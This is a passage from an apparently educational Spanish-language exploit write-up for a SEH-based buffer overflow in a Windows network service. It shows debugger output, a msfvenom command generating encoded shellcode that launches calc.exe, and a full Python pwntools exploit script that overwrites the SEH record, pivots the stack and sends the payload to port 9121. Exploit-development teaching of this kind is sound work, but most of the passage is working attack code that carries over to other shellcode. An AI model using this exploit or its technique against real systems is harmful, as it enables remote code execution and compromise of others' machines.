eip=01c1ff51 esp=01c1fa98 ebp=01c1f408 iopl=0         nv up ei ng nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282  
01c1ff51 ffe4            jmp     esp {01c1fa98}

Esta vez la cadena no se corta y tenemos un tamaño suficiente para un shellcode

0:000> db esp L100
01c1fa98  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1faa8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fab8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fac8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fad8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fae8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1faf8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb08  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb18  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb28  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb38  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb48  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb58  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb68  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb78  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb88  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8
eip=01c1fa98 esp=01c1fa98 ebp=01c1f408 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
01c1fa98 44              inc     esp


Execute Commands


Ya que tenemos una forma de ejecutar instrucciones podemos generar un shellcode con msfvenom que en caso de interpretarse ejecute el comando calc.exe

❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x02\x0a\x0d\xf8\xfd' -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x4b\x99\xd4\xef\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xb7\x71\x56\xef\x47\x82\x37\x79"
shellcode += b"\xa2\xb3\x77\x1d\xa7\xe4\x47\x55\xe5\x08\x23"
shellcode += b"\x3b\x1d\x9a\x41\x94\x12\x2b\xef\xc2\x1d\xac"
shellcode += b"\x5c\x36\x3c\x2e\x9f\x6b\x9e\x0f\x50\x7e\xdf"
shellcode += b"\x48\x8d\x73\x8d\x01\xd9\x26\x21\x25\x97\xfa"
shellcode += b"\xca\x75\x39\x7b\x2f\xcd\x38\xaa\xfe\x45\x63"
shellcode += b"\x6c\x01\x89\x1f\x25\x19\xce\x1a\xff\x92\x24"
shellcode += b"\xd0\xfe\x72\x75\x19\xac\xbb\xb9\xe8\xac\xfc"
shellcode += b"\x7e\x13\xdb\xf4\x7c\xae\xdc\xc3\xff\x74\x68"
shellcode += b"\xd7\x58\xfe\xca\x33\x58\xd3\x8d\xb0\x56\x98"
shellcode += b"\xda\x9e\x7a\x1f\x0e\x95\x87\x94\xb1\x79\x0e"
shellcode += b"\xee\x95\x5d\x4a\xb4\xb4\xc4\x36\x1b\xc8\x16"
shellcode += b"\x99\xc4\x6c\x5d\x34\x10\x1d\x3c\x53\xe7\x93"
shellcode += b"\x3b\x11\xe7\xab\x43\x06\x80\x9a\xc8\xc9\xd7"
shellcode += b"\x22\x1b\xae\x28\x69\x01\x87\xa0\x34\xd0\x95"
shellcode += b"\xac\xc6\x0f\xd9\xc8\x44\xa5\xa2\x2e\x54\xcc"
shellcode += b"\xa7\x6b\xd2\x3d\xda\xe4\xb7\x41\x49\x04\x92"
shellcode += b"\x22\x0c\x96\x7e\x8a\xab\x1e\xe4\xd2\x33\xdf"
shellcode += b"\xe6\xd2\x33\xdf\xe6"

Nuestro exploit final sobrescribe la estructura SEH para despues de ejecutar el handler pop pop ret y el short jump haga un stack pivot y salte al shellcode enviado

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 124
junk = b"A" * offset

nseh = asm("jmp $+8").ljust(4, b"A")
seh = p32(0x10132edc)

shellcode =  b""
shellcode += b"\xfc\xbb\x4b\x99\xd4\xef\xeb\x0c\x5e\x56\x31"  
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"  
shellcode += b"\xff\xff\xff\xb7\x71\x56\xef\x47\x82\x37\x79"  
shellcode += b"\xa2\xb3\x77\x1d\xa7\xe4\x47\x55\xe5\x08\x23"  
shellcode += b"\x3b\x1d\x9a\x41\x94\x12\x2b\xef\xc2\x1d\xac"  
shellcode += b"\x5c\x36\x3c\x2e\x9f\x6b\x9e\x0f\x50\x7e\xdf"  
shellcode += b"\x48\x8d\x73\x8d\x01\xd9\x26\x21\x25\x97\xfa"  
shellcode += b"\xca\x75\x39\x7b\x2f\xcd\x38\xaa\xfe\x45\x63"  
shellcode += b"\x6c\x01\x89\x1f\x25\x19\xce\x1a\xff\x92\x24"  
shellcode += b"\xd0\xfe\x72\x75\x19\xac\xbb\xb9\xe8\xac\xfc"  
shellcode += b"\x7e\x13\xdb\xf4\x7c\xae\xdc\xc3\xff\x74\x68"  
shellcode += b"\xd7\x58\xfe\xca\x33\x58\xd3\x8d\xb0\x56\x98"  
shellcode += b"\xda\x9e\x7a\x1f\x0e\x95\x87\x94\xb1\x79\x0e"  
shellcode += b"\xee\x95\x5d\x4a\xb4\xb4\xc4\x36\x1b\xc8\x16"  
shellcode += b"\x99\xc4\x6c\x5d\x34\x10\x1d\x3c\x53\xe7\x93"  
shellcode += b"\x3b\x11\xe7\xab\x43\x06\x80\x9a\xc8\xc9\xd7"  
shellcode += b"\x22\x1b\xae\x28\x69\x01\x87\xa0\x34\xd0\x95"  
shellcode += b"\xac\xc6\x0f\xd9\xc8\x44\xa5\xa2\x2e\x54\xcc"  
shellcode += b"\xa7\x6b\xd2\x3d\xda\xe4\xb7\x41\x49\x04\x92"  
shellcode += b"\x22\x0c\x96\x7e\x8a\xab\x1e\xe4\xd2\x33\xdf"  
shellcode += b"\xe6\xd2\x33\xdf\xe6"  

payload  = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x6a4")
payload += asm("jmp esp")
payload += asm("nop")
payload += shellcode
payload += b"D" * (1000 - len(payload))

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("Windows", 9121)
shell.sendline(content)

Como resultado conseguimos controlar el programa y ejecutar el shellcode que ejecuta el comando calc.exe por lo que se abre una calculadora en la maquina